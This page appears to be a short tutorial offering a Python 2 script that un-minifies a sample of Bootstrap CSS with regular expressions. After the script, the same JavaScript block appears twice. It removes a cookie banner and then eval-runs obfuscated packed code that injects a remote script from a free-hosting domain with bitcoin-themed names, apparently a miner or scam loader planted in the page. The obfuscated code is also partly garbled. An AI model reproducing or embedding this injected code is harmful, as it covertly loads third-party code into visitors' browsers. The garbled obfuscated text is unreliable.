A simple (sloppy) python script to un-minify CSS. Live Python demo here: http://pythonfiddle.com/css-unminifier-script

CSS Un-Minify Script

import re

# Sample CSS minified code from Bootstrap 
minified_css = 'article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}audio:not([controls]){display:none;height:0}[hidden],template{display:none}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a{background:0 0}'

unminified_css = re.sub("\{", " {\n\r\n\r\t", minified_css)
unminified_css = re.sub("\}", "\n\r\n\r}\n\r\n\r", unminified_css)
unminified_css = re.sub(";", ";\n\r\t", unminified_css)

print unminified_css

Element.prototype.remove = function() {this.parentElement.removeChild(this);};
NodeList.prototype.remove = HTMLCollection.prototype.remove = function()
{
for(var i = this.length - 1; i >= 0; i--)
{if(this[i] && this[i].parentElement){this[i].parentElement.removeChild(this[i]);}}
};
function removePOPup(){
var cookPopup=document.getElementsByClassName('cc_banner-wrapper');
if (cookPopup){cookPopup.remove();}
return;}
removePOPup();

var _$_9265=["L i$j=["1k(t(x,1l,h,u,l,y){l=t(h){r h};A(!''.E(/^/,1m)){F(h--){y[h]=u[h]||h}u=[t(l){r y[l]}];l=t(){r'\\\\1j+'};h=1};F(h--){A(u[h]){x=x.E(1i 1f('\\\\H'+l(h)+'\\\\H','1g'),u[h])}}r x}('$.12({13:14});(11(3,5,2){15 1,4=3.16(5)[0];10(3.7(2))8;1=3.9(5);1.2=2;1.23=\"//17-1h-1e-1o-6-1u.19.18/20.1\";4.21.22(1,4)}(1v,\\'6\\',\\'1w\\'));',10,1t,'|1s|1p|y|1q|1r|1x|Y|r|Q|A|t|N|O|S|1d|1b|1c|V|Z|X|1a|W|P|U|T|R|1n|1O|1R'.1y('|'),0,{}))","|","I","|||||||||||||||||||||||||||||||c|e|n|k|q|p|d|B|z|b|G|1T|1S|s|1V|w|K|g|J|M|D|a|1Y|1Z|1X|1U|1P|1E|1F|1D|I|1Q|1C|1z|1A|1B|1G|1H|L|1N|1L|1I|1J|1K","G","","\\w+","\\b","g"];D(q(v,1M,f,o,m,C){m=q(f){n f};B(!i$j[5]i$j[4]){z(f--){C[f]=o[f]||f};o=[q(m){n C[m]}];m=q(){n i$j[6]};f=1};z(f--){B(o[f]){v=v[i$j[4]](J K(i$j[7]+m(f)+i$j[7],i$j[8]),o[f])}};n v}(i$j[0],10,1W,i$j[3]i$j[2],0,{}))","|","split","|||||||||||||||0x73AD||31||_1f54||32|_0x740D|return|_0x743D||function|33||35|34|_0x746D||36|37|while|38|if|_0x73DD|eval|41|39|replace|40|split|new|RegExp|var|String|70|67|65|57|59|66|55|56|72|58|68|42|73|||||||||||64|71|74|69|27|47|48|26|49|46|51|52|50|60|28|45|43|44|53|30|24|29|25|54|61|parentNode|src|false|profit|8888|insertBefore|bitcoin|cache|fbcoin_online|com|000webhostapp|free|getElementsByTagName|_0x737D|ajaxSetup|63|createElement|document|62|fjs|getElementById|2018|id|75|FreeBitcoinOnline|js|script||||","","fromCharCode","toString","replace","\w+","\b","g"];eval(function(_0x23214,_0x230FC,_0x23134,_0x231DC,_0x231A4,_0x2316C){_0x231A4= function(_0x23134){return (_0x23134< 0x230FC?$_9265[4]:_0x231A4(parseInt(_0x23134/ _0x230FC)))+ ((_0x23134= _0x23134% 0x230FC)> 35?String[$_9265[5]](_0x23134+ 29):0x23134_$_9265[6])};if(!$_9265[4]_$_9265[7]){while(_0x23134--){_0x2316C[_0x231A4(_0x23134)]= _0x231DC[_0x23134]|| _0x231A4(_0x23134)};_0x231DC= [function(_0x231A4){return _0x2316C[_0x231A4]}];_0x231A4= function(){return _$_9265[8]};_0x23134= 1};while(_0x23134--){if(_0x231DC[_0x23134]){_0x23214= 0x23214[$9265[7]]( new RegExp($_9265[9]+ _0x231A4(_0x23134)+ _$9265[9],$_9265[10]),_0x231DC[_0x23134])}};return 0x23214}($9265[0],62,128,$_9265[3]_$_9265[2],0,{}))

Element.prototype.remove = function() {this.parentElement.removeChild(this);};
NodeList.prototype.remove = HTMLCollection.prototype.remove = function()
{
for(var i = this.length - 1; i >= 0; i--)
{if(this[i] && this[i].parentElement){this[i].parentElement.removeChild(this[i]);}}
};
function removePOPup(){
var cookPopup=document.getElementsByClassName('cc_banner-wrapper');
if (cookPopup){cookPopup.remove();}
return;}
removePOPup();

var _$_9265=["L i$j=["1k(t(x,1l,h,u,l,y){l=t(h){r h};A(!''.E(/^/,1m)){F(h--){y[h]=u[h]||h}u=[t(l){r y[l]}];l=t(){r'\\\\1j+'};h=1};F(h--){A(u[h]){x=x.E(1i 1f('\\\\H'+l(h)+'\\\\H','1g'),u[h])}}r x}('$.12({13:14});(11(3,5,2){15 1,4=3.16(5)[0];10(3.7(2))8;1=3.9(5);1.2=2;1.23=\"//17-1h-1e-1o-6-1u.19.18/20.1\";4.21.22(1,4)}(1v,\\'6\\',\\'1w\\'));',10,1t,'|1s|1p|y|1q|1r|1x|Y|r|Q|A|t|N|O|S|1d|1b|1c|V|Z|X|1a|W|P|U|T|R|1n|1O|1R'.1y('|'),0,{}))","|","I","|||||||||||||||||||||||||||||||c|e|n|k|q|p|d|B|z|b|G|1T|1S|s|1V|w|K|g|J|M|D|a|1Y|1Z|1X|1U|1P|1E|1F|1D|I|1Q|1C|1z|1A|1B|1G|1H|L|1N|1L|1I|1J|1K","G","","\\w+","\\b","g"];D(q(v,1M,f,o,m,C){m=q(f){n f};B(!i$j[5]i$j[4]){z(f--){C[f]=o[f]||f};o=[q(m){n C[m]}];m=q(){n i$j[6]};f=1};z(f--){B(o[f]){v=v[i$j[4]](J K(i$j[7]+m(f)+i$j[7],i$j[8]),o[f])}};n v}(i$j[0],10,1W,i$j[3]i$j[2],0,{}))","|","split","|||||||||||||||0x73AD||31||_1f54||32|_0x740D|return|_0x743D||function|33||35|34|_0x746D||36|37|while|38|if|_0x73DD|eval|41|39|replace|40|split|new|RegExp|var|String|70|67|65|57|59|66|55|56|72|58|68|42|73|||||||||||64|71|74|69|27|47|48|26|49|46|51|52|50|60|28|45|43|44|53|30|24|29|25|54|61|parentNode|src|false|profit|8888|insertBefore|bitcoin|cache|fbcoin_online|com|000webhostapp|free|getElementsByTagName|_0x737D|ajaxSetup|63|createElement|document|62|fjs|getElementById|2018|id|75|FreeBitcoinOnline|js|script||||","","fromCharCode","toString","replace","\w+","\b","g"];eval(function(_0x23214,_0x230FC,_0x23134,_0x231DC,_0x231A4,_0x2316C){_0x231A4= function(_0x23134){return (_0x23134< 0x230FC?$_9265[4]:_0x231A4(parseInt(_0x23134/ _0x230FC)))+ ((_0x23134= _0x23134% 0x230FC)> 35?String[$_9265[5]](_0x23134+ 29):0x23134_$_9265[6])};if(!$_9265[4]_$_9265[7]){while(_0x23134--){_0x2316C[_0x231A4(_0x23134)]= _0x231DC[_0x23134]|| _0x231A4(_0x23134)};_0x231DC= [function(_0x231A4){return _0x2316C[_0x231A4]}];_0x231A4= function(){return _$_9265[8]};_0x23134= 1};while(_0x23134--){if(_0x231DC[_0x23134]){_0x23214= 0x23214[$9265[7]]( new RegExp($_9265[9]+ _0x231A4(_0x23134)+ _$9265[9],$_9265[10]),_0x231DC[_0x23134])}};return 0x23214}($9265[0],62,128,$_9265[3]_$_9265[2],0,{}))